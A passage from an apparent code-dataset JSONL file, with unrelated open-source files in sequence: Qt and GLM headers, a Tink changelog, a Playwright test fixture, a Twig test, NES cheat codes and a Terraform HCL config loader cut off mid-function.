const QStyleOption *option = 0,\n const QWidget *widget = 0) const Q_DECL_OVERRIDE;\n int styleHint(StyleHint sh, const QStyleOption *opt = 0, const QWidget *w = 0,\n QStyleHintReturn *shret = 0) const Q_DECL_OVERRIDE;\n QRect subElementRect(SubElement r, const QStyleOption *opt, const QWidget *widget = 0) const Q_DECL_OVERRIDE;\n QRect subControlRect(ComplexControl cc, const QStyleOptionComplex *opt, SubControl sc,\n const QWidget *w = 0) const Q_DECL_OVERRIDE;\n\n // These functions are called from QApplication/QWidget. Be careful.\n QStyle *baseStyle() const;\n void repolish(QWidget *widget);\n void repolish(QApplication *app);\n\n void unpolish(QWidget *widget) Q_DECL_OVERRIDE;\n void unpolish(QApplication *app) Q_DECL_OVERRIDE;\n\n QStyle *base;\n void ref() { ++refcount; }\n void deref() { Q_ASSERT(refcount > 0); if (!--refcount) delete this; }\n\n void updateStyleSheetFont(QWidget* w) const;\n void saveWidgetFont(QWidget* w, const QFont& font) const;\n void clearWidgetFont(QWidget* w) const;\n\n bool styleSheetPalette(const QWidget* w, const QStyleOption* opt, QPalette* pal);\n\nprotected:\n bool event(QEvent *e) Q_DECL_OVERRIDE;\n\nprivate:\n int refcount;\n\n friend class QRenderRule;\n int nativeFrameWidth(const QWidget *);\n QRenderRule renderRule(const QObject *, int, quint64 = 0) const;\n QRenderRule renderRule(const QObject *, const QStyleOption *, int = 0) const;\n QSize defaultSize(const QWidget *, QSize, const QRect&, int) const;\n QRect positionRect(const QWidget *, const QRenderRule&, const QRenderRule&, int,\n const QRect&, Qt::LayoutDirection) const;\n QRect positionRect(const QWidget *w, const QRenderRule &rule2, int pe,\n const QRect &originRect, Qt::LayoutDirection dir) const;\n\n mutable QCss::Parser parser;\n\n void setPalette(QWidget *);\n void unsetPalette(QWidget *);\n void setProperties(QWidget *);\n void setGeometry(QWidget *);\n void unsetStyleSheetFont(QWidget *) const;\n QVector styleRules(const QObject *obj) const;\n bool hasStyleRule(const QObject *obj, int part) const;\n\n QHash titleBarLayout(const QWidget *w, const QStyleOptionTitleBar *tb) const;\n\n QCss::StyleSheet getDefaultStyleSheet() const;\n\n static Qt::Alignment resolveAlignment(Qt::LayoutDirection, Qt::Alignment);\n static bool isNaturalChild(const QObject *obj);\n bool initObject(const QObject *obj) const;\npublic:\n static int numinstances;\n\nprivate:\n Q_DISABLE_COPY(QStyleSheetStyle)\n Q_DECLARE_PRIVATE(QStyleSheetStyle)\n};\n\nclass QStyleSheetStyleCaches : public QObject\n{\n Q_OBJECT\npublic Q_SLOTS:\n void objectDestroyed(QObject *);\n void styleDestroyed(QObject *);\npublic:\n QHash > styleRulesCache;\n QHash > hasStyleRuleCache;\n typedef QHash > QRenderRules;\n QHash renderRulesCache;\n QHash styleSheetCache; // parsed style sheets\n QSet autoFillDisabledWidgets;\n // widgets with whose palettes and fonts we have tampered:\n template \n struct Tampered {\n T oldWidgetValue;\n uint resolveMask;\n\n // only call this function on an rvalue *this (it mangles oldWidgetValue)\n T reverted(T current)\n#ifdef Q_COMPILER_REF_QUALIFIERS\n &&\n#endif\n {\n oldWidgetValue.resolve(oldWidgetValue.resolve() & resolveMask);\n current.resolve(current.resolve() & ~resolveMask);\n current.resolve(oldWidgetValue);\n current.resolve(current.resolve() | oldWidgetValue.resolve());\n return current;\n }\n };\n QHash> customPaletteWidgets;\n QHash> customFontWidgets;\n};\ntemplate \nclass QTypeInfo>\n : QTypeInfoMerger, T> {};\n\nQT_END_NAMESPACE\n#endif // QT_NO_STYLE_STYLESHEET\n#endif // QSTYLESHEETSTYLE_P_H\n"} +{"text": "/// @ref gtx_matrix_factorisation\n/// @file glm/gtx/matrix_factorisation.hpp\n///\n/// @see core (dependence)\n///\n/// @defgroup gtx_matrix_factorisation GLM_GTX_matrix_factorisation\n/// @ingroup gtx\n///\n/// Include to use the features of this extension.\n///\n/// Functions to factor matrices in various forms\n\n#pragma once\n\n// Dependency:\n#include \"../glm.hpp\"\n\n#if GLM_MESSAGES == GLM_ENABLE && !defined(GLM_EXT_INCLUDED)\n#\tifndef GLM_ENABLE_EXPERIMENTAL\n#\t\tpragma message(\"GLM: GLM_GTX_matrix_factorisation is an experimental extension and may change in the future. Use #define GLM_ENABLE_EXPERIMENTAL before including it, if you really want to use it.\")\n#\telse\n#\t\tpragma message(\"GLM: GLM_GTX_matrix_factorisation extension included\")\n#\tendif\n#endif\n\n/*\nSuggestions:\n - Move helper functions flipud and fliplr to another file: They may be helpful in more general circumstances.\n - Implement other types of matrix factorisation, such as: QL and LQ, L(D)U, eigendecompositions, etc...\n*/\n\nnamespace glm\n{\n\t/// @addtogroup gtx_matrix_factorisation\n\t/// @{\n\n\t/// Flips the matrix rows up and down.\n\t///\n\t/// From GLM_GTX_matrix_factorisation extension.\n\ttemplate \n\tGLM_FUNC_DECL mat flipud(mat const& in);\n\n\t/// Flips the matrix columns right and left.\n\t///\n\t/// From GLM_GTX_matrix_factorisation extension.\n\ttemplate \n\tGLM_FUNC_DECL mat fliplr(mat const& in);\n\n\t/// Performs QR factorisation of a matrix.\n\t/// Returns 2 matrices, q and r, such that the columns of q are orthonormal and span the same subspace than those of the input matrix, r is an upper triangular matrix, and q*r=in.\n\t/// Given an n-by-m input matrix, q has dimensions min(n,m)-by-m, and r has dimensions n-by-min(n,m).\n\t///\n\t/// From GLM_GTX_matrix_factorisation extension.\n\ttemplate \n\tGLM_FUNC_DECL void qr_decompose(mat const& in, mat<(C < R ? C : R), R, T, Q>& q, mat& r);\n\n\t/// Performs RQ factorisation of a matrix.\n\t/// Returns 2 matrices, r and q, such that r is an upper triangular matrix, the rows of q are orthonormal and span the same subspace than those of the input matrix, and r*q=in.\n\t/// Note that in the context of RQ factorisation, the diagonal is seen as starting in the lower-right corner of the matrix, instead of the usual upper-left.\n\t/// Given an n-by-m input matrix, r has dimensions min(n,m)-by-m, and q has dimensions n-by-min(n,m).\n\t///\n\t/// From GLM_GTX_matrix_factorisation extension.\n\ttemplate \n\tGLM_FUNC_DECL void rq_decompose(mat const& in, mat<(C < R ? C : R), R, T, Q>& r, mat& q);\n\n\t/// @}\n}\n\n#include \"matrix_factorisation.inl\"\n"} +{"text": "Version 1.4.0\n==================================\nObj-C protobufs removed.\n\nVersion 1.4.0-rc2\n==================================\nNo changes to the Obj-C implementation since 1.4.0-rc1.\n\nVersion 1.4.0-rc1\n==================================\nNo changes to the Obj-C implementation since 1.3.0.\n\nVersion 1.3.0\n==================================\nNo changes to the Obj-C implementation since 1.3.0-rc4.\n\nVersion 1.3.0-rc4\n=================================\nThis is a pre-release version.\n\nVersion 1.3.0-rc3\n=================================\nUpdate CocoaPod so new APIs are actually included.\nThis is a pre-release version.\n\nVersion 1.3.0-rc2\n=================================\nAdded AES CMAC.\nThis is a pre-release version.\n\nVersion 1.3.0-rc1\n==================================\nAdded RSA signatures (RSA-SSA-PKCS1, RSA-PSS), ED25519 signatures,\ndeterministic AEAD (AES-SIV), and XCHACHA20-POLY1305 AEAD.\nThis is a pre-release version.\n\nVersion 1.2.2\n==================================\nStaticly linking BoringSSL in the CocoaPod build to prevent namespace clashes\nwhen Tink is used alongside pods that depend on OpenSSL.\n\nVersion 1.2.1\n==================================\nNo changes to the Obj-C implementation.\n\nVersion 1.2.0\n==================================\nAdded support for IEEE P1363 signature encoding.\n\nVersion 1.2.0-rc4\n==================================\nAdded API to retrieve keyset handle with public keys only.\nDropped support for 192-bit keys for AES-GCM, AES-EAX and AES-CTR.\nThis is a pre-release version.\n\nVersion 1.2.0-rc3\n==================================\nAdded Swift-friendly initializers for TinkRegistryConfig.\nSupport for generating keys for ECIES and ECDSA.\nRemoved some deprecated APIs.\nThis is a pre-release version.\n\nVersion 1.2.0-rc2\n==================================\nSmall bug fixes and support for the iOS keychain. This is a pre-release version.\n\nVersion 1.2.0-rc1\n==================================\nFirst Tink release that supports Obj-C. This is a pre-release version.\n"} +{"text": "\n\n \n \n \n \n \n\n\n\n
    \n\n
    \n\n\n"} +{"text": "/****************************************************************************\n ****************************************************************************\n ***\n *** This header was automatically generated from a Linux kernel header\n *** of the same name, to make information necessary for userspace to\n *** call into the kernel available to libc. It contains only constants,\n *** structures, and macros generated from the original header, and thus,\n *** contains no copyrightable information.\n ***\n *** To edit the content of this header, modify the corresponding\n *** source file (e.g. under external/kernel-headers/original/) then\n *** run bionic/libc/kernel/tools/update_all.py\n ***\n *** Any manual change here will be lost the next time this script will\n *** be run. You've been warned!\n ***\n ****************************************************************************\n ****************************************************************************/\n#ifndef _XT_SYNPROXY_H\n#define _XT_SYNPROXY_H\n#define XT_SYNPROXY_OPT_MSS 0x01\n#define XT_SYNPROXY_OPT_WSCALE 0x02\n/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */\n#define XT_SYNPROXY_OPT_SACK_PERM 0x04\n#define XT_SYNPROXY_OPT_TIMESTAMP 0x08\n#define XT_SYNPROXY_OPT_ECN 0x10\nstruct xt_synproxy_info {\n/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */\n __u8 options;\n __u8 wscale;\n __u16 mss;\n};\n/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */\n#endif\n"} +{"text": "/** \n * Copyright (c) 2015 committers of YAKINDU and others. \n * All rights reserved. This program and the accompanying materials \n * are made available under the terms of the Eclipse Public License v1.0 \n * which accompanies this distribution, and is available at \n * http://www.eclipse.org/legal/epl-v10.html \n * Contributors:\n * committers of YAKINDU - initial API and implementation\n *\n*/\npackage org.yakindu.base.expressions.ui.outline\n\n/**\n * Customization of the default outline structure.\n *\n * see http://www.eclipse.org/Xtext/documentation.html#outline\n */\nclass ExpressionsOutlineTreeProvider extends org.eclipse.xtext.ui.editor.outline.impl.DefaultOutlineTreeProvider {\n\t\n}\n"} +{"text": "#Wed Aug 05 02:09:43 CST 2015\n"} +{"text": "/*\n This file is part of Darling.\n\n Copyright (C) 2019 Lubos Dolezel\n\n Darling is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n Darling is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with Darling. If not, see .\n*/\n\n#import \n\n@implementation QTCALayerRendererViewBackingLayer\n\n- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector\n{\n return [NSMethodSignature signatureWithObjCTypes: \"v@:\"];\n}\n\n- (void)forwardInvocation:(NSInvocation *)anInvocation\n{\n NSLog(@\"Stub called: %@ in %@\", NSStringFromSelector([anInvocation selector]), [self class]);\n}\n\n@end\n"} +{"text": "/**\n * Copyright Microsoft Corporation. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport { fixtures as baseFixtures } from './fixtures';\n\nimport path from 'path';\nimport { spawn } from 'child_process';\nimport type { BrowserType, Browser, LaunchOptions } from '..';\n\ntype ServerFixtures = {\n remoteServer: RemoteServer;\n stallingRemoteServer: RemoteServer;\n};\nexport const serverFixtures = baseFixtures.declareTestFixtures();\nconst { defineTestFixture } = serverFixtures;\n\nconst playwrightPath = path.join(__dirname, '..');\n\nexport class RemoteServer {\n _output: Map;\n _outputCallback: Map;\n _browserType: BrowserType;\n _child: import('child_process').ChildProcess;\n _exitPromise: Promise;\n _exitAndDisconnectPromise: Promise;\n _browser: Browser;\n _didExit: boolean;\n _wsEndpoint: string;\n\n async _start(browserType: BrowserType, defaultBrowserOptions: LaunchOptions, extraOptions?: { stallOnClose: boolean; }) {\n this._output = new Map();\n this._outputCallback = new Map();\n this._didExit = false;\n\n this._browserType = browserType;\n const launchOptions = {...defaultBrowserOptions,\n handleSIGINT: true,\n handleSIGTERM: true,\n handleSIGHUP: true,\n executablePath: defaultBrowserOptions.executablePath || browserType.executablePath(),\n logger: undefined,\n };\n const options = {\n playwrightPath,\n browserTypeName: browserType.name(),\n launchOptions,\n ...extraOptions,\n };\n this._child = spawn('node', [path.join(__dirname, 'fixtures', 'closeme.js'), JSON.stringify(options)]);\n this._child.on('error', (...args) => console.log('ERROR', ...args));\n this._exitPromise = new Promise(resolve => this._child.on('exit', (exitCode, signal) => {\n this._didExit = true;\n resolve(exitCode);\n }));\n\n let outputString = '';\n this._child.stdout.on('data', data => {\n outputString += data.toString();\n // Uncomment to debug.\n // console.log(data.toString());\n let match;\n while ((match = outputString.match(/\\(([^()]+)=>([^()]+)\\)/))) {\n const key = match[1];\n const value = match[2];\n this._addOutput(key, value);\n outputString = outputString.substring(match.index + match[0].length);\n }\n });\n\n this._wsEndpoint = await this.out('wsEndpoint');\n }\n\n _addOutput(key, value) {\n this._output.set(key, value);\n const cb = this._outputCallback.get(key);\n this._outputCallback.delete(key);\n if (cb)\n cb();\n }\n\n async out(key) {\n if (!this._output.has(key))\n await new Promise(f => this._outputCallback.set(key, f));\n return this._output.get(key);\n }\n\n wsEndpoint() {\n return this._wsEndpoint;\n }\n\n child() {\n return this._child;\n }\n\n async childExitCode() {\n return await this._exitPromise;\n }\n\n async close() {\n if (!this._didExit)\n this._child.kill();\n return await this.childExitCode();\n }\n}\n\ndefineTestFixture('remoteServer', async ({browserType, defaultBrowserOptions}, test) => {\n const remoteServer = new RemoteServer();\n await remoteServer._start(browserType, defaultBrowserOptions);\n await test(remoteServer);\n await remoteServer.close();\n});\n\ndefineTestFixture('stallingRemoteServer', async ({browserType, defaultBrowserOptions}, test) => {\n const remoteServer = new RemoteServer();\n await remoteServer._start(browserType, defaultBrowserOptions, { stallOnClose: true });\n await test(remoteServer);\n await remoteServer.close();\n});\n"} +{"text": "namespace Linq.Extras\n{\n /// \n /// Defines the possible traversal orders when traversing a hierarchy of objects.\n /// \n public enum TreeTraversalMode\n {\n /// \n /// Depth-first traversal. For each node, explores its children before its siblings.\n /// \n DepthFirst,\n /// \n /// Breadth-first traversal. For each node, explores its siblings before its children.\n /// \n BreadthFirst\n }\n}"} +{"text": "--TEST--\nTwig supports unary operators (not, -, +)\n--TEMPLATE--\n{{ not 1 }}/{{ not 0 }}\n{{ +1 + 1 }}/{{ -1 - 1 }}\n{{ not (false or true) }}\n--DATA--\nreturn array()\n--EXPECT--\n/1\n2/-2\n\n"} +{"text": "cheats = 24\n\ncheat0_desc = \"Infinite time\"\ncheat0_code = \"GXKVKXVK\"\ncheat0_enable = false\n\ncheat1_desc = \"Both players start with 1/3 energy\"\ncheat1_code = \"AUXAGAEL\"\ncheat1_enable = false\n\ncheat2_desc = \"You can select any character in story mode\"\ncheat2_code = \"YAVAZLGA\"\ncheat2_enable = false\n\ncheat3_desc = \"Infinite continues\"\ncheat3_code = \"OKKEZTVG\"\ncheat3_enable = false\n\ncheat4_desc = \"Whoever gets the first hit wins the round\"\ncheat4_code = \"PEXAGAEL\"\ncheat4_enable = false\n\ncheat5_desc = \"Infinite Energy\"\ncheat5_code = \"0590:B0+0647:B0\"\ncheat5_enable = false\n\ncheat6_desc = \"Infinite Energy\"\ncheat6_code = \"OZVVVTEO+ELVVNVLP+SANTOVSU\"\ncheat6_enable = false\n\ncheat7_desc = \"Play Hothead Vs Hothead\"\ncheat7_code = \"AENEZPIE\"\ncheat7_enable = false\n\ncheat8_desc = \"Start a New Game to View the Ending\"\ncheat8_code = \"LEXYLGZE\"\ncheat8_enable = false\n\ncheat9_desc = \"Hit Anywhere P1\"\ncheat9_code = \"XTOZVXOU+ETOZNZAL+AAOXEZGA+ILOXXZAK\"\ncheat9_enable = false\n\ncheat10_desc = \"Disable Blocking Both Players\"\ncheat10_code = \"AEVXXZLA\"\ncheat10_enable = false\n\ncheat11_desc = \"Only Need To Win One Round To Win Match\"\ncheat11_code = \"OZNEOXPV+ZANEXZPA\"\ncheat11_enable = false\n\ncheat12_desc = \"One Round To Win, P1 (Activate After Title Screen)\"\ncheat12_code = \"0649:02\"\ncheat12_enable = false\n\ncheat13_desc = \"Infinite Health P1\"\ncheat13_code = \"0590:76\"\ncheat13_enable = false\n\ncheat14_desc = \"Infinite Health P1\"\ncheat14_code = \"0590:B0\"\ncheat14_enable = false\n\ncheat15_desc = \"No Health P2\"\ncheat15_code = \"0591:00\"\ncheat15_enable = false\n\ncheat16_desc = \"Infinite Time (One's Digit)\"\ncheat16_code = \"0673:09\"\ncheat16_enable = false\n\ncheat17_desc = \"Infinite Time (One's Digit)\"\ncheat17_code = \"0672:09\"\ncheat17_enable = false\n\ncheat18_desc = \"Character Highlighter Modifier P1\"\ncheat18_code = \"00A2:00\"\ncheat18_enable = false\n\ncheat19_desc = \"Character Highlighter Modifier P2\"\ncheat19_code = \"00A3:00\"\ncheat19_enable = false\n\ncheat20_desc = \"Level Highlighter Modifier (VS Mode)\"\ncheat20_code = \"04A0:00\"\ncheat20_enable = false\n\ncheat21_desc = \"Turn Off Computer's A.I.\"\ncheat21_code = \"06C3:00+06C7:00+06C9:00+06CB:00\"\ncheat21_enable = false\n\ncheat22_desc = \"Always Fight XX Instead of Normal Character\"\ncheat22_code = \"0551:BE\"\ncheat22_enable = false\n\ncheat23_desc = \"Level Modifier In VS CPU\"\ncheat23_code = \"009E:02\"\ncheat23_enable = false"} +{"text": "/* Generated by RuntimeBrowser.\n */\n\n@protocol _DKHasObjectType\n\n@required\n\n- (_DKObjectType *)objectType;\n\n@end\n"} +{"text": "package tfconfig\n\nimport (\n\t\"io/ioutil\"\n\t\"strings\"\n\n\tlegacyhcl \"github.com/hashicorp/hcl\"\n\tlegacyast \"github.com/hashicorp/hcl/hcl/ast\"\n)\n\nfunc loadModuleLegacyHCL(dir string) (*Module, Diagnostics) {\n\t// This implementation is intentionally more quick-and-dirty than the\n\t// main loader. In particular, it doesn't bother to keep careful track\n\t// of multiple error messages because we always fall back on returning\n\t// the main parser's error message if our fallback parsing produces\n\t// an error, and thus the errors here are not seen by the end-caller.\n\tmod := newModule(dir)\n\n\tprimaryPaths, diags := dirFiles(dir)\n\tif diags.HasErrors() {\n\t\treturn mod, diagnosticsHCL(diags)\n\t}\n\n\tfor _, filename := range primaryPaths {\n\t\tsrc, err := ioutil.ReadFile(filename)\n\t\tif err != nil {\n\t\t\treturn mod, diagnosticsErrorf(\"Error reading %s: %s\", filename, err)\n\t\t}\n\n\t\thclRoot, err := legacyhcl.Parse(string(src))\n\t\tif err != nil {\n\t\t\treturn mod, diagnosticsErrorf(\"Error parsing %s: %s\", filename, err)\n\t\t}\n\n\t\tlist, ok := hclRoot.Node.(*legacyast.ObjectList)\n\t\tif !ok {\n\t\t\treturn mod, diagnosticsErrorf(\"Error parsing %s: no root object\", filename)\n\t\t}\n\n\t\tfor _, item := range list.Filter(\"terraform\").Items {\n\t\t\tif len(item.Keys) > 0 {\n\t\t\t\titem = &legacyast.ObjectItem{\n\t\t\t\t\tVal: &legacyast.ObjectType{\n\t\t\t\t\t\tList: &legacyast.ObjectList{\n\t\t\t\t\t\t\tItems: []*legacyast.ObjectItem{item},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttype TerraformBlock struct {\n\t\t\t\tRequiredVersion string `hcl:\"required_version\"`\n\t\t\t}\n\t\t\tvar block TerraformBlock\n\t\t\terr = legacyhcl.DecodeObject(&block, item.Val)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, diagnosticsErrorf(\"terraform block: %s\", err)\n\t\t\t}\n\n\t\t\tif block.RequiredVersion != \"\" {\n\t\t\t\tmod.RequiredCore = append(mod.RequiredCore, block.RequiredVersion)\n\t\t\t}\n\t\t}\n\n\t\tif vars := list.Filter(\"variable\"); len(vars.Items) > 0 {\n\t\t\tvars = vars.Children()\n\t\t\ttype VariableBlock struct {\n\t\t\t\tType string `hcl:\"type\"`\n\t\t\t\tDefault interface{}\n\t\t\t\tDescription string\n\t\t\t\tFields []string `hcl:\",decodedFields\"`\n\t\t\t}\n\n\t\t\tfor _, item := range vars.Items {\n\t\t\t\tunwrapLegacyHCLObjectKeysFromJSON(item, 1)\n\n\t\t\t\tif len(item.Keys) != 1 {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"variable block at %s has no label\", item.Pos())\n\t\t\t\t}\n\n\t\t\t\tname := item.Keys[0].Token.Value().(string)\n\n\t\t\t\tvar block VariableBlock\n\t\t\t\terr := legacyhcl.DecodeObject(&block, item.Val)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"invalid variable block at %s: %s\", item.Pos(), err)\n\t\t\t\t}\n\n\t\t\t\t// Clean up legacy HCL decoding ambiguity by unwrapping list of maps\n\t\t\t\tif ms, ok := block.Default.([]map[string]interface{}); ok {\n\t\t\t\t\tdef := make(map[string]interface{})\n\t\t\t\t\tfor _, m := range ms {\n\t\t\t\t\t\tfor k, v := range m {\n\t\t\t\t\t\t\tdef[k] = v\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tblock.Default = def\n\t\t\t\t}\n\n\t\t\t\tv := &Variable{\n\t\t\t\t\tName: name,\n\t\t\t\t\tType: block.Type,\n\t\t\t\t\tDescription: block.Description,\n\t\t\t\t\tDefault: block.Default,\n\t\t\t\t\tPos: sourcePosLegacyHCL(item.Pos(), filename),\n\t\t\t\t}\n\t\t\t\tif _, exists := mod.Variables[name]; exists {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"duplicate variable block for %q\", name)\n\t\t\t\t}\n\t\t\t\tmod.Variables[name] = v\n\n\t\t\t}\n\t\t}\n\n\t\tif outputs := list.Filter(\"output\"); len(outputs.Items) > 0 {\n\t\t\toutputs = outputs.Children()\n\t\t\ttype OutputBlock struct {\n\t\t\t\tDescription string\n\t\t\t}\n\n\t\t\tfor _, item := range outputs.Items {\n\t\t\t\tunwrapLegacyHCLObjectKeysFromJSON(item, 1)\n\n\t\t\t\tif len(item.Keys) != 1 {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"output block at %s has no label\", item.Pos())\n\t\t\t\t}\n\n\t\t\t\tname := item.Keys[0].Token.Value().(string)\n\n\t\t\t\tvar block OutputBlock\n\t\t\t\terr := legacyhcl.DecodeObject(&block, item.Val)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"invalid output block at %s: %s\", item.Pos(), err)\n\t\t\t\t}\n\n\t\t\t\to := &Output{\n\t\t\t\t\tName: name,\n\t\t\t\t\tDescription: block.Description,\n\t\t\t\t\tPos: sourcePosLegacyHCL(item.Pos(), filename),\n\t\t\t\t}\n\t\t\t\tif _, exists := mod.Outputs[name]; exists {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"duplicate output block for %q\", name)\n\t\t\t\t}\n\t\t\t\tmod.Outputs[name] = o\n\t\t\t}\n\t\t}\n\n\t\tfor _, blockType := range []string{\"resource\", \"data\"} {\n\t\t\tif resources := list.Filter(blockType); len(resources.Items) > 0 {\n\t\t\t\tresources = resources.Children()\n\t\t\t\ttype ResourceBlock struct {\n\t\t\t\t\tProvider string\n\t\t\t\t}\n\n\t\t\t\tfor _, item := range resources.Items {\n\t\t\t\t\tunwrapLegacyHCLObjectKeysFromJSON(item, 2)\n\n\t\t\t\t\tif len(item.Keys) != 2 {\n\t\t\t\t\t\treturn nil, diagnosticsErrorf(\"resource block at %s has wrong label count\", item.Pos())\n\t\t\t\t\t}\n\n\t\t\t\t\ttypeName := item.Keys[0].Token.Value().(string)\n\t\t\t\t\tname := item.Keys[1].Token.Value().(string)\n\t\t\t\t\tvar mode ResourceMode\n\t\t\t\t\tvar rMap map[string]*Resource\n\t\t\t\t\tswitch blockType {\n\t\t\t\t\tcase \"resource\":\n\t\t\t\t\t\tmode = ManagedResourceMode\n\t\t\t\t\t\trMap = mod.ManagedResources\n\t\t\t\t\tcase \"data\":\n\t\t\t\t\t\tmode = DataResourceMode\n\t\t\t\t\t\trMap = mod.DataResources\n\t\t\t\t\t}\n\n\t\t\t\t\tvar block ResourceBlock\n\t\t\t\t\terr := legacyhcl.DecodeObject(&block, item.Val)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, diagnosticsErrorf(\"invalid resource block at %s: %s\", item.Pos(), err)\n\t\t\t\t\t}\n\n\t\t\t\t\tvar providerName, providerAlias string\n\t\t\t\t\tif dotPos := strings.IndexByte(block.Provider, '.'); dotPos != -1 {\n\t\t\t\t\t\tproviderName = block.Provider[:dotPos]\n\t\t\t\t\t\tproviderAlias = block.Provider[dotPos+1:]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tproviderName = block.Provider\n\t\t\t\t\t}\n\t\t\t\t\tif providerName == \"\" {\n\t\t\t\t\t\tproviderName = resourceTypeDefaultProviderName(typeName)\n\t\t\t\t\t}\n\n\t\t\t\t\tr := &Resource{\n\t\t\t\t\t\tMode: mode,\n\t\t\t\t\t\tType: typeName,\n\t\t\t\t\t\tName: name,\n\t\t\t\t\t\tProvider: ProviderRef{\n\t\t\t\t\t\t\tName: providerName,\n\t\t\t\t\t\t\tAlias: providerAlias,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPos: sourcePosLegacyHCL(item.Pos(), filename),\n\t\t\t\t\t}\n\t\t\t\t\tkey := r.MapKey()\n\t\t\t\t\tif _, exists := rMap[key]; exists {\n\t\t\t\t\t\treturn nil, diagnosticsErrorf(\"duplicate resource block for %q\", key)\n\t\t\t\t\t}\n\t\t\t\t\trMap[key] = r\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\tif moduleCalls := list.Filter(\"module\"); len(moduleCalls.Items) > 0 {\n\t\t\tmoduleCalls = moduleCalls.Children()\n\t\t\ttype ModuleBlock struct {\n\t\t\t\tSource string\n\t\t\t\tVersion string\n\t\t\t}\n\n\t\t\tfor _, item := range moduleCalls.Items {\n\t\t\t\tunwrapLegacyHCLObjectKeysFromJSON(item, 1)\n\n\t\t\t\tif len(item.Keys) != 1 {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"module block at %s has no label\", item.Pos())\n\t\t\t\t}\n\n\t\t\t\tname := item.Keys[0].Token.Value().(string)\n\n\t\t\t\tvar block ModuleBlock\n\t\t\t\terr := legacyhcl.DecodeObject(&block, item.Val)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"module block at %s: %s\", item.Pos(), err)\n\t\t\t\t}\n\n\t\t\t\tmc := &ModuleCall{\n\t\t\t\t\tName: name,\n\t\t\t\t\tSource: block.Source,\n\t\t\t\t\tVersion: block.Version,\n\t\t\t\t\tPos: sourcePosLegacyHCL(item.Pos(), filename),\n\t\t\t\t}\n\t\t\t\t// it's possible this module call is from an override file\n\t\t\t\tif origMod, exists := mod.ModuleCalls[name]; exists {\n\t\t\t\t\tif mc.Source == \"\" {\n\t\t\t\t\t\tmc.Source = origMod.Source\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tmod.ModuleCalls[name] = mc\n\t\t\t}\n\t\t}\n\n\t\tif providerConfigs := list.Filter(\"provider\"); len(providerConfigs.Items) > 0 {\n\t\t\tproviderConfigs = providerConfigs.Children()\n\t\t\ttype ProviderBlock struct {\n\t\t\t\tVersion string\n\t\t\t}\n\n\t\t\tfor _, item := range providerConfigs.Items {\n\t\t\t\tunwrapLegacyHCLObjectKeysFromJSON(item, 1)\n\n\t\t\t\tif len(item.Keys) != 1 {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"provider block at %s has no label\", item.Pos())\n\t\t\t\t}\n\n\t\t\t\tname := item.Keys[0].Token.Value().(string)\n\n\t\t\t\tvar block ProviderBlock\n\t\t\t\terr := legacyhcl.DecodeObject(&block, item.Val)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, diagnosticsErrorf(\"invalid provider block at %s: %s\", item.Pos(), err)\n\t\t\t\t}\n\t\t\t\t// Even if there wasn't an explicit version required, we still\n\t\t\t\t// need an entry in our map to signal the unversioned dependency.\n\t\t\t\tif _, exists := mod.RequiredProviders[name]; !exists {\n\t\t\t\t\tmod.RequiredProviders[name] = &ProviderRequirement{}\n\t\t\t\t}\n\n\t\t\t\tif block.Version != \"\" {\n\t\t\t\t\tmod.RequiredProviders[name].VersionConstraints = append(mod.RequiredProviders[name].VersionConstraints, block.Version)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn mod, nil\n}\n\n// unwrapLegacyHCLObjectKeysFromJSON cleans up an edge case that can occur when\n// parsing JSON as input: if we're parsing JSON then directly nested\n// items will show up as additional \"keys\".\n//\n// For objects that expect a fixed number of keys, this breaks the\n// decoding process. This function unwraps the object into what it would've\n// looked like if it came directly from HCL by specifying the number of keys\n// you expect.\n//\n// Example:\n//\n// { \"foo\": { \"baz\": {} } }\n//\n// Will show up with Keys being: []string{\"foo\", \"baz\"}\n// when we really just want the first two. This function will fix this.\nfunc unwrapLegacyHCLObjectKeysFromJSON(item *legacyast.ObjectItem, depth int) {\n\tif len(item.Keys) > depth && item.Keys[0].Token.JSON {\n\t\tfor len(item.Keys) > depth {\n\t\t\t// Pop off the last key\n\t\t\tn := len(item.Keys)\n\t\t\tkey := item.Keys[n-1]\n\t\t\titem.Keys[n-1] = nil\n\t\t\titem.Keys = item.Keys[:n-1]\n\n\t\t\t// Wrap our 